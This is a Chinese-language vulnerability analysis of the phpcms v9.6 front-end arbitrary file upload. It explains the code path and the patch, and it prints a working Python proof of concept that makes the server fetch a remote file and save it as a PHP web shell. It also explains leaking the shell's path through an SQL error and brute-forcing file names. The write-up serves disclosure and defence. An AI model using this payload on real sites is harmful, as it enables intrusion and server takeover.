**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-04-12**
## 0x00 漏洞概述
### 漏洞简介
前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.
### 漏洞影响
任意文件上传
## 0x01 漏洞复现
本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
首先我们看简化的 PoC :
```python
import re
import requests
def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': 'test@test.com',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
shell = ''
re_result = re.findall(r'<img src=(.*)>', rep.content)
if len(re_result):
shell = re_result[0]
print shell
```
可以看到 PoC 是发起注册请求,对应的是`phpcms/modules/member/index.php`中的`register`函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
![/register_func.png](https://images.seebug.org/content/images/2017/04/pic/register_func.png)
通过 PoC 不难看出我们的 payload 在`$_POST['info']`里,而这里对`$_POST['info']`进行了处理,所以我们有必要跟进。
在使用`new_html_special_chars`对`<>`进行编码之后,进入`$member_input->get`函数,该函数位于`caches/caches_model/caches_data/member_input.class.php`中,接下来函数走到如下位置:
![/get_func.png](https://images.seebug.org/content/images/2017/04/pic/get_func.png)
由于我们的 payload 是`info[content]`,所以调用的是`editor`函数,同样在这个文件中:
![/editor_func.png](https://images.seebug.org/content/images/2017/04/pic/editor_func.png)
接下来函数执行`$this->attachment->download`函数进行下载,我们继续跟进,在`phpcms/libs/classes/attachment.class.php`中:
```php
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
```
函数中先对`$value`中的引号进行了转义,然后使用正则匹配:
```php
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;
```
这里正则要求输入满足`src/href=url.(gif|jpg|jpeg|bmp|png)`,我们的 payload (`<img src=http://url/shell.txt?.php#.jpg>`)符合这一格式(这也就是为什么后面要加`.jpg`的原因)。
接下来程序使用这行代码来去除 url 中的锚点:`$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);`,处理过后`$remotefileurls`的内容如下:
![/remotefileurls.png](https://images.seebug.org/content/images/2017/04/pic/remotefileurls.png)
可以看到`#.jpg`被删除了,正因如此,下面的`$filename = fileext($file);`取的的后缀变成了`php`,这也就是 PoC 中为什么要加`#`的原因:**把前面为了满足正则而构造的`.jpg`过滤掉,使程序获得我们真正想要的`php`文件后缀。**
我们继续执行:
![/copy_func.png](https://images.seebug.org/content/images/2017/04/pic/copy_func.png)
程序调用`copy`函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:
![/shell.png](https://images.seebug.org/content/images/2017/04/pic/shell.png)
shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了`register`函数中:
![/status.png](https://images.seebug.org/content/images/2017/04/pic/status.png)
可以看到当`$status > 0`时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:
![/sql.png](https://images.seebug.org/content/images/2017/04/pic/sql.png)
也就是向`v9_member_detail`的`content`和`userid`两列插入数据,我们看一下该表的结构:
![/desc.png](https://images.seebug.org/content/images/2017/04/pic/desc.png)
因为表中并没有`content`列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:
![/error_path.png](https://images.seebug.org/content/images/2017/04/pic/error_path.png)
上面我们说过返回路径是在`$status > 0`时才可以,下面我们来看看什么时候`$status <= 0`,在`phpcms/modules/member/classes/client.class.php`中:
![/status_code.png](https://images.seebug.org/content/images/2017/04/pic/status_code.png)
几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候`$status`的值为空,也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
![/getname.png](https://images.seebug.org/content/images/2017/04/pic/getname.png)
仅仅是时间加上三位随机数,爆破起来还是相对容易些的。
## 0x02 补丁分析
phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
![/patch.png](https://images.seebug.org/content/images/2017/04/pic/patch.png)
在获取文件扩展名后再对扩展名进行检测
## 0x03 参考
* [https://www.seebug.org/vuldb/ssvid-92930](https://www.seebug.org/vuldb/ssvid-92930)
* [[漏洞预警]PHPCMSv9前台GetShell (2017/04/09)](https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473914&idx=1&sn=9eb94f27c121709d837c3e4df07cc7f8&pass_ticket=41uQwVrah%2B7ri0tXROEWobgq0%2BWtquBSape7MYFkD8RoRn8cVYczGKQcP%2BtCq2Jp)
全部评论 (1)